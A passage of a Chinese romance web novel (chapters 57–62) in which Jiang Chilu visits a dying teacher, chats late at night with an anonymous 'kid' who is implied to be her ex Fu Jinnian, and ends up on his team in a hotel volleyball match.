另一边却没有回复。
要不是桌上有用过的果汁,他都怀疑是不是上一次放她鸽子,她这次也故意放自己鸽子。
.....
医院人来人往的,两道身影走的格外着急,走廊的其他行人都下意识往旁边退让。
傅今棠和江迟鹿赶到病房的时候,何婷的女儿正在给她喂饭。
“老师。”
两人走进去,张了张唇也问不出其他的话,只能再喊一声老师。
何婷的女儿在旁边忍不住又落了泪。
谁也没想到好好的人会突然查出癌症,还是晚期。
何云擦掉脸上的泪,泣不成声,“明明每年都体检了的.....不知道为什么.....”
躺在病床上的何婷看的却比任何人都透,“好了,不知道哭多少次了,都是命啊,我这辈子也没有什么可遗憾的了.....”
她垂下眼睫,笑了笑,“大概是另一个地方需要我?”
何云眼睛红肿,“我也需要你啊。”
江迟鹿和傅今棠看着她,眼里也有泪。
傅今棠坐在床边,握着她的手,“为什么不早点跟我们说。”
何云深吸了一口气,嗓音忍不住的发颤,“妈本来还不想告诉你们,说怕你们伤心,和我一样哭不停,还是我打的,我知道她最喜欢你们两个,还是让你们知道的好。”
江迟鹿看着她苍白的面庞,“老师瞒着我们,难道是想让我们遗憾连你最后一面也见不到吗。”
何婷拉住她的手,“不要生老师的气。”
她看着江迟鹿严肃的神情,笑了笑,“老师好歹帮你养了这么久的猫呢。”
江迟鹿神情迷茫,“什么?”
第五十七章 你还小而已
何婷看着她,“小橘啊,不是你让人把小橘送来的吗,说它胆子小,在学校里被其他猫欺负,总是饿得肚皮瘦瘦的,你又没时间养,让我帮忙多喂喂,还每个月都寄了猫粮来。”
“我......”江迟鹿一脸的茫然。
她根本没有做过这件事情。
傅今棠显然也看出来端倪来了,“她怎么可能叫你帮忙养猫,她要是真的让你帮忙养了,估计每个月都得去你家看。”
“那是谁送来的?那封手写信,就是迟鹿的字迹啊。”
江迟鹿有些吃惊,“我的字迹?”
她一时间脑子都有些怀疑,自己是不是真的送了去,只是忘记了。
她摇头,肯定道,“老师,真的不是我,要真是我,我估计得每周都往老师你那跑。”
实际上,江迟鹿害怕看到小橘会想起傅靳年,傅靳年出国后,她在学校会特意绕开小橘爱去的那条路。
脑子倏地一下想到了那天晚上傅靳年发来的消息,问她还记不记得小橘。
还说她只留情不负责。
一时间,那个想法更加肯定。
能模仿她字迹的,只有傅靳年。
当初两人在学校图书馆,江迟鹿有不想写的文字作业,就丢给他写,为了不让老师发现,他特意模仿她的字迹。
江迟鹿自己看了都认不出的程度。
“到底怎么回事?”何婷看向自己女儿,“你有时间回家一趟,那封信还跟猫粮放在一起我没扔呢,你带来给迟鹿看看,到底是不是她写的。”
傅今棠手机铃声响起,她看到打来电话的人,顿了一下,“糟了,把他忘了。”
她擦了擦眼泪,“老师,我出去接个电话。”
靠在医院长廊的墙壁,她接通电话。
“喂,不好意思,我真的不是故意溜你的,我的老师突然出事了,我现在在医院,你今天先回去吧。”
“......嗯。”
傅今棠压根没心情去想下一次他还会不会答应了。
情绪都陷进了何婷快要离开的事实。
她有点绷不住,回到病房就哽咽了起来,“每年都有体检,怎么会突然检查出......”
江迟鹿抱住她,轻轻拍着她的发颤的背脊。
何婷看着两人,“不要伤心了,你看,我就知道你一来会哭个不停,多伤神,老师不想最后在世还让你们难过。”
她扯出一个轻松的笑,“都工作的人了,还像两个小朋友一样。”
两人在旁边哭得更难受了,抽噎不止。
从医院出来时已经是晚上十点。
夜风习习,喧嚣的鸣笛车声将人埋没。
两人都还不想走的,无奈第二天还要上班。
他们不能为任何一个人停下脚步。
坐在计程车上,江迟鹿靠着皮质头枕,侧过头,瞳仁映出身旁人寂寥的侧影。
她眼皮都还是肿的。
江迟鹿握住她的手,“今晚,我陪你吧?”
傅今棠侧过身,缓缓抱住她,“嗯,去我的公寓。”
晚上十一点,两人躺在床上,傅今棠整个人都还有些迷离。
江迟鹿知道何婷老师对她来说跟家人一样。
傅今棠也有离经叛道的时候,被家里断掉经济来源,何婷特意把钱给江迟鹿,让她给傅今棠,保护她的面子。
还经常找借口请两人去她家吃饭,亲自做饭给两人吃。
她已经不止是老师,更是家人。
手机铃声在房间突兀的响起。
傅今棠看了一眼,江迟鹿随着她的目光也看了一眼,“狗?你结婚证上的那个人?”
傅今棠烦躁的挂断电话,“嗯。”
江迟鹿:“不接吗?”
“懒得接。”她看了一眼日期,“今天也不是跟他上床的日子。”
躺在旁边江迟鹿顿了一下,惊愣看过去:“你不是不喜欢他吗?你们的婚姻不是假的吗?当初为了解决负面新闻迫不得已才......”
“这事说来话长.....”她抱住江迟鹿,“别提他了,我好难受啊,何老师还那么年轻,我一直以为.....以为她还能陪我好久。我还记得上次给老师打电话,她正在家里煎鸡蛋饼,我笑着说听声音就好香,没过多久,她就带着鸡蛋饼来公司找我......她比我家里人还关心我。”
江迟鹿抱着她,拍了拍,无声的安慰。
“迟鹿,你知道的,我没见过我妈,从小到大读的私立学校,那些知道我身份的,对我都是奉承,大学的时候我藏住了身份,刚开始遇到何婷老师,还以为她知道我的身份呢,对我这么好。”
江迟鹿忍不住笑了笑:“我刚开始还以为我妈给何老师送鸡蛋了呢,后面才知道原来她对每一个学生都那么好。”
傅今棠也露出笑容,“其实我刚开始还在心里吐槽,我说这老师不会是讨好型人格吧,怎么搞的每一个人都是她女儿一样。”
“哼,下次见到老师我可要把这话告诉她。”
聊着聊着,傅今棠睡了过去。
江迟鹿看她的手机又打来了电话,不想吵醒她就直接挂断了。
对面第三次打来,她担心有什么要紧事,便接通了。
“她睡了,不着急的话你明天再打吧。”
江迟鹿说完,对面一直没有回复。
她看了一眼手机,还没有挂断啊,“喂?你听到了吗。”
“不是......你是谁啊?她还交女朋友?靠......”
江迟鹿:“.......不是,我是她朋友。”
“你在她床上?”
“是.....不是,虽然在一张床上,但是我们是朋友,不是那个朋友。”
“你知道你刚刚那句她睡着了一般在电视剧里扮演什么角色吗?”对面嘀咕,“行,我知道了。”
“没什么事吧?要是有重要的事情我可以把她叫醒。”江迟鹿了解傅今棠,要是因为睡觉错过了什么重要的事情她不会放过自己的。
“没什么事,对了你用热毛巾给她覆一下眼睛,第二天要是肿眼上班她会一整天都心情不爽。”
“哦......”江迟鹿看着挂断的电话,又看了一眼自己怀里的人,眼睛确实哭得肿肿的。
她起身进浴室拿了毛巾,放热水。
正拿着毛巾往水龙头下淋。
手机消息提示音响了一下。
她先拧干了帕子,回到床上给傅今棠敷上才拿出手机来看。
是小孩哥发来的消息。
-睡了吗?
-还没有,这么晚了你也不睡吗?小心长不高。
-.......你是不是对身高很自卑,一直跟我唠长不高。
-怎么可能!我可是女生中的黄金身高一米六八。
-这是黄金身高?你自封的吧。
-小孩,你嘴怎么这么毒。
-要不要打游戏。
-不了,今天心情不好。
她看着傅今棠,压了压她眼睛上的帕子。
其实......挺失落的。
那种感觉怎么说呢,别人被关心到,自己却没有,心里确实有些失落。
所以才会跟一个小孩子说心情不好吧。
小孩果然问她为什么心情不好。
江迟鹿笑了笑。
-谢谢你关心我,我现在心情已经好多了,你快睡觉吧,长高!
-......什么都还没说心情又好了。
-那你发语音唱歌给我听吧?我还挺喜欢听小孩子的声音的。
-......不会。
江迟鹿噗了一声。
-放心,我不嫌弃你的辣条音,你也不用太难过,你还小而已,等长大了声音会变的。
-......
第五十八章 干脆给他整个惊喜吧
-你唱吧。
对面发来三个字,江迟鹿都不敢相信。
心情不好的不是她吗,还叫她唱。
果然,指望小孩哄人不如去咸鱼买哄人服务。
看在对面是小孩的份上暂且不计较吧。
-行,我唱就我唱吧,不过我只会一首。
昏暗的卧室里,大床上靠坐着的男人修长指节握着手机,目光落在‘我只会一首’,眼眸微顿了一下。
他眼睫颤了颤,嘴角抿起。
......她不会又要唱那首吧。
对面的语音已经发过来,他点开。
熟悉的声音,熟悉的歌词,熟悉的调子。
就是那首.....
“呵,说好只唱给我一个人听,不仅唱给公司的人听,现在还唱给一个没认识两天的小孩听.......骗子。”
世界上最大的骗子。
-怎么样?我唱的好听吧?你想学的话我可以教你哦。
-不!好!听!
-?怎么可能
-难!听!
“哼。小学生这么没礼貌!”江迟鹿咬牙。
-你没品!有本事你唱。
-你为什么只会这一首歌?
江迟鹿看着这个问题,一时有些不知所措,“这小孩......还挺会问问题的。”
-就学了这一首啊。
-那为什么只学这一首。
-学来哄人的,当然学一首就行了,我又不转行当歌手。
她对唱歌也没什么热爱度。
单纯学来.....哄那个人的。
-哄谁?
“哎呦,这个小学生,问的问题怎么这么毒。”
她舔了舔唇瓣。
-我前男友,你知道前男友什么意思吗?
她还知道!
-专门学来哄男朋友的歌你怎么能唱给别人听?
江迟鹿气笑了,“这小孩......”
一时之间,她不知道该怎么回。
她该说这小孩占有欲还挺强的吗。
-这叫反复利用,辛苦学会的一首歌,只唱一次那不是白学了。
-......你学它不就是为了哄人吗,都已经达成目的了怎么能算白学。
-小孩你什么都不懂,你还太小了。
-别叫我小孩......
-行,小孩哥。
-......
江迟鹿看着手机在床上傻笑了起来。
“真逗啊这个小孩。”
她发了个红包过去。
-谢谢,我开心多了,请你喝奶茶。
-我不开心!谁要你的奶茶钱。
江迟鹿挑眉,按了语音,“小孩,你别不是用的你父母的微信吧,所以不敢收钱?”
女人带点沙哑的嗓音在空旷清冷的房间响起。
靠在床上的人一直盯着手机息屏,目光晦暗,原本还气愤着,听到明显哭过的声音,心里竟然是心疼更甚。
他真的该听周衍的,去看看心理医生了。
从一旁摸过烟盒,他拿着手机起身去了阳台,点烟前收了江迟鹿的奶茶钱。
对面又很快有消息发来。
-不跟姐姐说谢谢吗?
“噗——”薄唇叼着的烟抖了抖,火星忽明忽灭。
她怎么这么厚脸皮。
算了。
-谢谢。
-嗯嗯,真乖,小孩,快睡觉吧。
她一看时间,都快十二点了。
真没想到能跟一个小学生聊这么久。
第二天一早,江迟鹿一打开手机,看到小孩哥在两小时前发来了一个红包。
五点半就起床了,现在小学生也这么拼吗。
点了那个红包。
江迟鹿还以为他会像自己小时候一样发零点零几逗人玩,没想到居然是一百八十八。
“哇,还是个有钱的小学生。”
她小学的时候都只有跟朋友出去玩爸妈才会给一百以上。
-谢谢小孩哥!
“嗤。”他瞥了一眼手机就关掉,按停跑步机,一边擦着脖颈上的汗,一边进洗浴室。
.....
周六的上午,江迟鹿还缩在被子里熟睡,突然被人打了一下屁股。
“起床了!你到底是回来给我过生日的,还是让我伺候你的!我一早起来做了早饭,吃完又出去买菜,回来把肉馅剁出来,你还在睡!”
被窝里的人又往里缩了缩,声音黏糊不清,“好困.......再睡五分钟,真的。”
“快点,小祁都来了,你还在睡。”
“来呗,正好叫他帮你把肉馅剁了。”
说完,又缩进了温暖的被窝。
原本又要拍下去的手,在看到旁边还没关的笔记本电脑后停住。
她拉紧了窗帘,默默出去。
进了厨房,她站在正在切土豆丁的祁柏言旁边,问:“你们平时工作是不是很忙啊?压力大不大?”
“最近是忙,压力还算好,虽然忙,但是公司工作氛围很好,我反倒觉得比我之前参与的项目要轻松得多。”
两人一边闲聊,一边准备午饭。
一切都差不多了。
祁柏言才脱下围裙,“阿姨,我还点了个烤鱼,等会儿送过来,我去看看鹿鹿起床没。”
“她要是还没起,你就拿扫把打她。”
祁柏言低头笑了笑,“我真打了,你得拿刀追我吧。”
她每次都是口上说的狠,实际惯的最厉害的也是她。
祁柏言敲了敲卧室门,“起床没?我进来了?”
江迟鹿抱着柔软的被子翻了个身,懒洋洋打了个哈欠,“嗯,进。”
“哇......”他走了两步停下,看着江迟鹿的黑眼圈,“你不会昨天晚上又?”
“哈......”她晃了晃脑袋,双手压在眼皮上,叹了口气,“要真是打游戏熬夜反而是幸福,可我昨晚是为了工作。”
“工作?”
“组长让我做下一次开会的PPT,我连夜赶出来的,今天不是要带妈妈出去玩吗。”
她接连打着哈欠,“已经定好了度假酒店,我总不能出去玩的时候抱着笔记本工作吧。”
“辛苦了。”他垂眼看着她,不自觉地便伸手轻轻放在了她头顶。
两人都顿了一下。
这个动作对现在的两人来说很不合适。
只放了几秒,他便收手,“出去吃饭吧,下次还有这种事的话,可以找我帮忙,毕竟阿姨的生日我可以缺席但是你不能。”
“你还真不能缺席,你比我会哄人,哈哈。”
她穿上拖鞋进了浴室,几下就洗漱好出来。
“妈妈,辛苦了——”她冲过去抱住人,“你放心,今天明天我都能好好陪你了,接下来没有任何事了!”
“没有任何事?”她目光在江迟鹿和祁柏言之间打转,“确定吗?别出去玩的好好的你们又突然有事。”
“这次是真的啦!”江迟鹿拍了拍她,“我订了最好的度假酒店,当然要跟你一起好好享受了。”
“哎呦那得多贵啊。”她脸上的笑明显是期待的,催促着江迟鹿快吃饭。
......
淞江五星级酒店,伫立繁华地段。
一辆酷炫耀眼的紫钻法拉利超跑停在酒店前,驾驶座的门打开,周礼一头金发,身穿粉色衬衫白色休闲西装裤,耳钉在太阳光下冷芒一闪,一看便是个闲散贵公子的形象。
他下车后,绕到另一边,“哥,你跟傅哥谈就是了,怎么还叫上我,你又不是不知道我对公司那些事一窍不通的。”
周衍下车,没好气地斜了他一眼,“这次不是谈工作的事,你一天24小时不就研究怎么玩吗,等会傅靳年来了,你带他好好玩玩。”
“玩?”周礼两眼放光,“这我在行啊,那我再叫几个朋友来,人多才好玩啊。”
“他不喜欢跟不熟的人玩。”周衍摇头。
“那......多叫几个他的朋友呗,我没关系我跟谁都能玩。”周礼正笑着,对上了周衍魔鬼一样的凝视。
嗓子抖了抖,“哥,你这么看着我做什么。”
有种他小命不保的感觉。
周衍扯了下嘴角,“你以为谁都跟你一样天天就交朋友玩呢,他那么忙,哪有时间交朋友。”
“咳咳。”周礼心虚的低下头,捏了下耳钉,“那我想想该怎么玩,干脆给他整个惊喜吧。”
第五十九章 你也只有一看到她才会露出这种表情了吧
黑色迈巴赫在酒店门口停下,司机下车后迅速绕到后座开门。
车上,五官优越的男人闭着眼仰着脖子,全然熟睡的样子。
司机有些吃惊,从他回国后,自己听从傅老爷安排当他的司机,就没见过他在车上睡这么熟。
看来最近是真的忙累了。
“傅总,淞江酒店到了。”他把人叫醒。
傅靳年缓缓睁开眼睛,有些哑的嗓音低声应了一下,身上穿着的还是刚从公司出来的西装。
一下车,给周衍发了条消息。
-我到了。
-前台报我名字,会带你来的。
-你把我叫来这到底要做什么。
-让你好好放松放松,我们合作还没结束呢,你要是倒下了我找谁去,放心来吧。
傅靳年的警惕心挺重。
-玩什么?
-啧,放心,知道你傅大少爷三好继承人,一不碰女人二不碰赌三不违法。
接待台由整块黑金沙大理石打造,两位前台在傅靳年一进去时便注意上了。
主要是男人穿着打扮都能看出来不一般。
两人微笑着进行服务,得知他是周衍的客人后,其中一位亲自领头带他前去。
傅靳年跟在后面,看到她站在刻有排球场的门前,推开了那扇门。
场馆挑高充足,没有压抑感,顶面是简约的哑光金属吊顶,嵌着整排防眩目专业运动射灯,地面铺着专业级防滑运动木地板,浅原木色基调。
“来了啊!这!傅哥——”周礼抬手挥了挥,“傅哥,这!”
他下意识皱眉,抬步走过去。
周衍坐在太师椅上,散漫自在,“皱个眉什么意思?不满意吗?之前在m国的时候你和我加入排球社,我看你每场比赛打得都挺投入的啊,不喜欢了?”
傅靳年扫了一圈周围。
酒店的室内排球场既保有专业运动的规整质感,又融着高端酒店的精致细节,动静之间尽显格调。
比之前在学校的排球场地高了好几个档次。
他清冷的眸光扫向周衍,指尖抵了下自己胸口,“你让一个刚工作完的人进行这种高运动量的运动?”
“这对你来说算什么啊,你体力这么好。”他捶了一下他的胸口,“而且累才对啊,累到浑身没力气,脑子也想不到那些烦人的事情,这不是挺好的吗,你说是不是啊。”
傅靳年侧身躲开他的拳头,眉心依旧蹙着,“三个人,怎么打?”
周礼笑着,挥了挥手机,“傅哥放心,马上就有人了。”
周衍又是一拳拍过去:“嗯哼,你可以完全放下你的戒备,不会有你认识的人,周礼刚刚让经理给入住的客人发了消息,参加排球运动,赢的那一队可以全免这次的费用。”
周礼一脸的骄傲,“这可是我想的法子,能为了全免费用来参加的,肯定和你不认识。”
那些大佬才不屑为了全免费用而下来累死累活打排球呢。
傅靳年面上依旧冷淡,手上动作却在解西装外套的纽扣,“对队友不熟悉排球也不好打啊。”
“这不是有一下午的时间吗。”周衍拍了拍他,“这可是为了你才费老大劲想出来的。”
周礼从旁边冒了个头出来,“傅哥,我能叫几个漂亮妹妹不?”
傅靳年一记冷光过去,周礼给自己的嘴上了个拉链,往坐做了一个手势,示意傅靳年去换衣服。
很快,经理带着应邀来的客人。
周衍目光望向一个身影,顿时呆愣,“那是.......”
旁边周礼的声音比他更激动,“哎呦,我的小鹿鹿怎么在这里!”
他迫不及待跑过去,“江迟鹿!”
冷不防有人叫自己,江迟鹿还愣了下,抬起目光看过去,见是周礼,嘴角不自觉扬起一个笑。
她还说酒店怎么会莫名其妙举行这种活动,原来是周礼在啊。
原本她没想着来的,毕竟今天的首要任务是陪老妈过生日。
谁知道丛晚女士一听说消费金额全免,急不可耐地拉着她这个曾经加入过排球社的人来了。
还扬言说什么就想看她打排球。
江迟鹿就这么被丛晚女士推着来了。
祁柏言也陪在丛晚身边。
“好巧啊,周哥,你居然也在这里。”江迟鹿比划了下场地,“这是你的场子啊?”
周礼叹了口气,“我可不想玩这种,但是我哥拉着傅哥来了,说要让他放松放松。”
“傅哥?”江迟鹿心里隐隐感觉到不妙。
“对啊,就是傅氏那个太子爷傅靳年,我就没见过比他玩的还正经的,不然我今天本来计划......”
周礼话还没说完,眼前的人倏地转过了身。
江迟鹿是拉着祁柏言一起转的身。
无他,就是看到傅靳年从更衣室出来了。
她咬牙,“不能让傅靳年看到我们一起出现在酒店。”
祁柏言神色凝重,“你觉得我们有可能把阿姨带走吗。”
江迟鹿默默抬眼,“除非酒店经理说取消这次的全免消费活动。”
祁柏言沉默了两秒,“那我先走,你跟阿姨说我工作突然有事。”
“抱歉啊,本来你能跟我们一起玩的。”
祁柏言闷笑了一声,“其实......我不是很喜欢这种运动,你不记得了?你小时候拉我打排球,我都是象征性玩两下就下场了。”
他拍了拍她的肩膀,“好好玩,赢了的话阿姨应该会很开心。”
江迟鹿和祁柏言商量好后便朝不同方向分开。
周礼目光还在远处祁柏言的背影上,“迟鹿,那是谁啊?”
他怎么看着有些眼熟。
“是我朋友,他突然有事要处理。”
丛晚握住江迟鹿的手,目光担忧,“什么事情啊。”
“妈妈你别担心,就是工作上的一些事情。”
周礼看着江迟鹿身边的中年女人,走上前伸出手,“阿姨你好,我是迟鹿的朋友,我叫周礼,一周的周,礼貌的礼。”
“你好啊你好啊。”
刚从更衣室出来的傅靳年被周衍狠狠拍了一下肩膀,“兄弟,这波你真的要感谢我了。”
傅靳年不明所以抬头,眼眸还是一片清冷。
周衍凑过去邪笑,双手夹着他脑袋,转向门口的方向,“哼哼,你就偷着乐吧。”
人对自己最熟悉的身影,最在意的身影,是能够做到一秒精准锁定的。
从视线被迫转向那个方向,他的眼眸中央就只看得到那个身影了。
一时无言。
周衍双手抱胸,挑眉,“真是......你也只有一看到她才会露出这种表情了吧。”
他眼睫眨了眨,看向周衍,“她......你叫来的?”
第六十章 不要随便跟人勾三搭四
周衍瞥他一眼,“sorry啊,你想多了,我可没细腻到这个程度,老天的安排啊。”
周衍晃了晃手机,上面是和工作人员的聊天记录,“不过我刚刚发消息给工作人员,让他把江迟鹿弄到我们一队来。”
他眨了眨右眼,面上甚是得意,歪头一笑,“怎么样,心情有没有很爽呢。”
没得来傅靳年一句好话,反倒被他丢过来的帕子蒙了一脸,他冷冷的嗓音平淡无波,“看到你笑就很不爽。”
周衍抓下脸上的帕子,咬肌鼓了鼓,“本来还想和你一队的,现在我临时决定,我踏马要去对面!打爆你!”
工作人员领着已经换好蓝白相间排球服的队员朝傅靳年走来。
江迟鹿一直垂着眼,仿佛面前遇到的只是陌生人一样。
傅靳年的目光从她身上滑过,落到她身旁的周礼上,两人的关系明显不是一般的好,周礼从开头就一直盯着江迟鹿还和她说话。
一队共六个人,另外三人都是酒店的客人,其中两位是一起来的年轻女孩,另一位是上了点年纪的中年男人,身形还挺壮的。
“能分到一队就是缘分,我们先各自介绍一下?我叫周阔,我比你们年纪都大,叫我周哥吧。”那个壮哥率先向大家打招呼。
周礼伸手过去,笑着开口:“周大哥你好,巧了啊,我也姓周,叫我小周就行。”
周大哥一臂膀的腱子肉,伸过去和周礼握了握手。
周礼脸上的笑容僵了一下,揉了揉自己的手,“哈哈,力气真大,打球肯定厉害。”
另外两位女孩是外向的性格,“我叫向葵,大家直接叫我向葵就好,旁边这位跟我是一起来的,她叫卢洋洋。”
大家都还算热情的打了招呼,唯独到傅靳年的时候,他就只报了自己的名字,十分简洁。
那两位一起来的女孩显然很喜欢傅靳年这种类型的帅哥,眼睛直戳戳盯着人看。
向葵明显是个社牛,直接盯着傅靳年说话,“大家能来参加这个活动,应该都会打排球吧?那我们现在来分一下位置?”
一支队伍六个人,两位主攻,两位副攻,一位二传,一位自由人。
卢洋洋率先抬手:“我以前在大学加入了排球社,是主攻位置。”
向葵:“我比较擅长当诱饵,我当副攻。”
周礼想了想,“我主攻。”
周阔选择了自由人。
那么剩下的就只有二传和副攻的位置了。
江迟鹿和傅靳年不约而同地对视上。
和两人之前在大学排球社的位置对上了。
江迟鹿是队里的副攻,傅靳年是二传,两人的配合当初还被队内其他人称为鸳鸯配。
甚至有人怀疑过两人是不是谈恋爱了,怎么能配合度那么高。
只是傅靳年一开始给大家留的冷面无情的印象太深刻,没人相信他会谈恋爱。
江迟鹿也一直谨记着他说的不能让别人发现的要求。
在有第三者的场合,她跟他始终保持着分寸不会让别人看出端倪来。
现在想来,真是憋屈死了,难道就因为她是个女配,跟他谈个恋爱都要偷偷摸摸的吗,什么意思?难道只有女主配被他公开?
哼。
“我二传。”他嗓音平淡,盯着江迟鹿。
江迟鹿和他对视了一秒,偏开目光,“那就只剩副攻了。”
傅靳年直直看着她,“你不想要这个位置?”
她顿了一下,抬头,“我没说。”
周礼身体倾向江迟鹿,唇瓣凑到她耳边,“你真不想要?那要不要我和你换?”
江迟鹿摇头,“没,挺好的。”
一道阴湿沉沉的目光像胶水一样黏在接头交耳的两人身上。
两人亲密的举动仿佛被冻在冰块里一样。
他嗓音发沉,“那就,一起,商量一下打法。”
磁性低沉的嗓音加重了‘一起’两个字。
周礼丝毫没有察觉出来不对劲,笑嘻嘻的开口:“好啊,傅哥,我和迟鹿关系好,以前还一起打过排球,我俩配合度高,可以迟鹿做诱饵配合我。”
傅靳年的目光停留在他身上,嘴角轻微扯出一个弧度,眸子眯了眯,“呵,是吗?”
周礼指尖捏了下耳钉,他怎么感觉......傅哥的声音像恶魔在耳边低语呢。
他迟疑的回复:“是....啊。不过!也别轻敌,我哥排球打的还是很厉害的,之前在m国还拿了北美锦标赛的奖......等等,傅哥,我哥不会是和你一起拿的奖吧?”
其他人目光顿时亮了,看向傅靳年,“真的啊?这么厉害?你们是专业的吗?”
傅靳年没太大反应,轻点了下头,侧眸看向江迟鹿,“你觉得呢?该怎么打?”
这反问充满了危险的感觉。
两人以前在一组的时候,他也问过一模一样的话。
只是那时候,两人在蜜恋期,虽然外表装的冷巴巴的,但是她怎么看都觉得很温柔。
现在......恶寒,恐怖,惊悚。
眼珠子转了转,她缓缓点头,“我.....都行。”
向葵笑着定下,“那就麻烦你和小周哥多配合,给我们拉拉分了。”
江迟鹿虽然根本没把眼神往傅靳年的身上放,但仍然能感觉到傅靳年的眼睛胶着在自己身上,像毒舌分叉的蛇信子,嘶嘶嘶!吓人!
她咬了下唇角内侧,犹豫了一秒,还是点头了。
那道目光瞬间冰冷的移开了。
第一场是预习训练赛,用来适应队友。
全程下来,除了江迟鹿和傅靳年两人之间零交流,其他人之间相互交流得都很好,甚至有种相见恨晚的感觉。
队伍里年纪最大的周阔也发现了江迟鹿和傅靳年之间的问题,他皱着眉问:“你们俩给我的感觉......就像分手了的前任一样,是不好意思交流吗?”
江迟鹿:“......”
傅靳年:“......”
周礼一只手搭在江迟鹿肩膀上,低声问她,“虽然我也觉得傅哥很吓人,比我哥还吓人,但是你也用不着害怕到一句话都不跟他说吧,放轻松一点。”
“周礼。”傅靳年的嗓音冷冷传来。
周礼吓了一跳,抬眼看过去,“傅,傅哥,您有话对我说?”
他目光像冰锥一样刺向周礼搭在江迟鹿肩膀上的手,“不要随便跟人勾三搭四。”
第六十一章 但是唯独傅靳年不一样,
江迟鹿瞪大眼,瞳孔中央有一团火在燃烧。
不、要、随、便、跟、人、勾、三、搭、四——
这话到底针对的是谁,都用不着想。
周礼看着两人有来有回的眼神,顿在原地。
向葵走过来,“刚刚对面的能力大家都看到了,看来我们要多商量一下了对面的主攻很厉害呢,而且.......”
她目光迟疑地看向傅靳年,“他好像一直在挑衅你啊,盯着你笑。”
周礼笑着解释:“那是我哥,也是他朋友,他就那样,不是真的挑衅。”
“哦~原来是这样啊,我就说怎么一上场就争锋相对的。”她朝着傅靳年笑了笑,有意想和他多搭上几句话,眼神飘忽地看着他,打量着他的神情。
却什么也没看出来,他一直是波澜不兴的平淡模样。
周礼开始跟大家商量下一次的打法,最终还是决定让江迟鹿当诱饵。
“傅哥,到时候你托球给我,迟鹿你在右边假装要击球,这样拦网的人去拦你了,我在左边更容易些。”
江迟鹿脸上扬起浅浅的笑容,点点头,“好。”
周礼比了个耶的手势,“我到时候一比这个就是要你当诱饵的意思。”
“嗯,好。”
江迟鹿刚应下,旁边插进来一道声音,“这一招最多用两次。”
傅靳年的目光落在江迟鹿身上,他嗓音因为低沉显得有些干涩:“你跟我配合。”
江迟鹿的意识停留在他这句话,心里顿时有一阵细麻的疼窜过,虽然那样的感觉并不明显,但是确实存在。
她视线从他胸口的运动服滑过,同刚才回复周礼的声音没有二样地回复他,“嗯,好。”
周礼疑惑地看着两人,“怎么配合?什么配合?傅哥,你们不用商量一下的吗?不用想个什么暗号的吗?”
“不用。”他不急不慢,将手腕的护腕带整理了一下,目光又看到她手上。
在周围的视线下,一只手拉过她的手,那只手宽大骨节分明,指腹压在她的肌肤上。
江迟鹿抬起疑惑的目光,从他腰身往上看到他淡然的垂下的神情,手指在她的护腕上滑了一下,声音很淡,“歪了。”
她迅速抽回了自己的手,语速很快的说了一句,“谢谢。”
商量好对策后,第一场正式的比赛开始了。
江迟鹿的心思却没法全然放在比赛上。
反复冒出刚才他抓住她的手的画面。
那个举动过于故意。
再一结合他对周礼说的那句‘别随便跟人勾三搭四。’,她合理怀疑傅靳年是误以为自己跟周礼有什么,所以故意做出那样的动作让周礼误会。
“迟鹿。”周礼的声音传来,江迟鹿往左边看去。
看到周礼的手在身后比了一个耶。
看来是要开头就用诱饵。
就在她心里有了打算时,刚一抬头,看到了傅靳年的目光。
她顿时明白了他的意思,他要自己跟他打配合。
江迟鹿眼睫眨了眨。
对面的球已经发了过来。
很有力道的球直接扑向地面,周阔扑向前方,身体擦过地面,双手将球垫了起来。
傅靳年和周礼的目光同时看向江迟鹿。
江迟鹿跳跃起身。
对面的人都以为江迟鹿要直接打过去,三个人拦网在她对立方向。
就在江迟鹿的手快要碰上排球时,又换了方向。
“砰——”
球直接朝着傅靳年的方向去了。
作为二传,对面的人在这个时刻对他没有什么防御,完全没想到江迟鹿会直接把球垫给他。
傅靳年一跃,抬手一个扣球。
“咚——”
排球跃网落地,跟对面扑在地上的自由人擦肩而过。
周衍的目光透过网注视了一眼傅靳年。
嘴角勾起一抹笑容。
周礼站在旁边,还有些发愣,惊讶的看着江迟鹿,目光又在傅靳年身上落了一下,开口:“你们俩配合的真好,刚刚是巧合吧?你,你怎么会想着把球垫给他呢?”
周礼惊讶的问她,“你知道他要扣球?”
江迟鹿面对周礼的问题,一时回答不上来。
她总不能直接说自己之前跟傅靳年经常打这样的配合吧。
对于江迟鹿的闭口不言,傅靳年看在眼,他嗓音低沉,开口道:“巧合。”
周礼一拍手,“果然是巧合,我就说怎么可能配合的这么好。”
他拍了拍胸口,“太好了,第一分我们拿下了。”
虽然只是一分,但队内的人的士气都大涨。
又连续拿下了三分。
对面至今还是零分,他们领先了。
这次轮到江迟鹿站周礼的位置了,对面是一个年轻俊气的男大学生,眼神清澈地隔着网看她,笑着开口:“你的第一球真帅啊。”
江迟鹿微笑:“谢谢。”
“我叫于池,于是的于,池塘的池。”
对面报上了姓名,江迟鹿也不好意思什么都不说,笑着点头,“江迟鹿。”
“啊,你的名字里也有池的发音?是哪个池啊?”
“迟到的迟,鹿是动物那个鹿。”
两人的声音传到了旁边站着的傅靳年耳边。
他微眯着眼盯着两人看。
对面那个少年笑着问江迟鹿,“等会儿.....可不可以跟你先加个联系方式呢?我就是京市的人,有空的话可以一起打排球啊。”
江迟鹿唇瓣动了动,还没开口在,听到了耳边传来的声音,低沉磁性,“专注比赛。”
是傅靳年的声音。
江迟鹿和对面的人都闭嘴了。
对面果然也不是吃素的,比分很快就追了上来,到了十五平。
这次轮到了江迟鹿发球。
她心脏咚咚咚跳着,发球是她的缺点。
下意识的,她将目光放在了傅靳年身上。
等她意识到,正要收回自己的视线,听到傅靳年开口说:“别紧张,只是一场娱乐游戏。”
他声音沉稳悦耳,像大提琴的声音。
江迟鹿咚咚咚跳的心脏像是一下子被这道声音安抚下来了一样,平复了许多。
大概是眼下是个陌生的环境,身边是陌生的人,但是唯独傅靳年不一样,两人曾经并肩作战,是熟悉的队友,更是.......
她点了点头,深吸一口气往后排走去。
第六十二章 上司又怎么了,年龄差不多啊。
江迟鹿深呼吸几下。
回想自己之前的练习,在短板上她还是费了一番功夫的,但是许久没有打过了,实力还是有所下降的,能不能打好就看运气了。
在发球前,她又将傅靳年的话在心里过了一遍,安慰自己不要过于担心紧张。
“砰——”
球飞速朝着对面扑去。
“咚——”的一声。
场内安静了一瞬。
直到砸在傅靳年后脑勺的球掉落在地,才开始发出大家的笑声。
江迟鹿:“......”
想过运气不好情况会很糟糕,但是......没想过会糟糕到这个地步。
她盯着那个后脑勺,咬住了牙齿。
